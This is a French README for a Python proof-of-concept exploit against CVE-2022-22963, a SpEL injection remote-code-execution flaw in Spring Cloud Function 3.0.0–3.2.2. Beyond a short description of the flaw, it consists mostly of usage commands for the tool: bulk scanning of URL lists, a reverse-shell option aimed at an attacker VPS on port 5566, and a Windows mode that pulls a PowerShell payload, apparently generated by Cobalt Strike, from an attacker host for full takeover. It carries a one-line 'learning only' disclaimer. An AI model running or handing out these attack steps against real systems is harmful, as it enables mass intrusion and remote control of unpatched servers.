
Spring Cloud Function - Vulnérabilité d'injection d'expression SPEL (CVE-2022-22963)
Spring Framework fournit un modèle de programmation et de configuration complet pour les applications Java d'entreprise modernes (sur toute plateforme de déploiement).
Dans le framework sans serveur Spring Cloud Function, la méthode
applyde la classeRoutingFunctiontraite le paramètre d'en-têtespring.cloud.function.routing-expressioncomme une expression Spel, ce qui entraîne une injection d'expression Spel. Un attaquant peut exploiter cette vulnérabilité pour exécuter du code arbitraire.Versions concernées : 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
Ce script est uniquement destiné à l'apprentissage. Toute responsabilité légale découlant d'une autre utilisation n'incombe pas à l'auteur.
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u spécifie une URL unique pour le test DNSlog
-e active le mode reverse shell
-s spécifie le système d'exploitation de la cible, par défaut Linux, paramètres possibles : win/linux à utiliser avec les paramètres -i et -c
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

- 123.58.236.76:47874 est le terrain Docker de vulfocus. La commande nslookup n'y est pas installée, donc le test DNSlog échoue.
- Les URL en masse doivent être la racine du site. Par exemple, http://192.168.50.222:8080/ est la racine du terrain local. L'ajout d'un répertoire
testrendra le PoC invalide.
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "adresse_ip_vps:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-c spécifie l'adresse du script PowerShell généré par CS pour la prise de contrôle. Doit être utilisé avec
-s "win". L'option-cnécessite que le script soit exécuté sous Windows, car elle appelle PowerShell pour encoder le PoC.


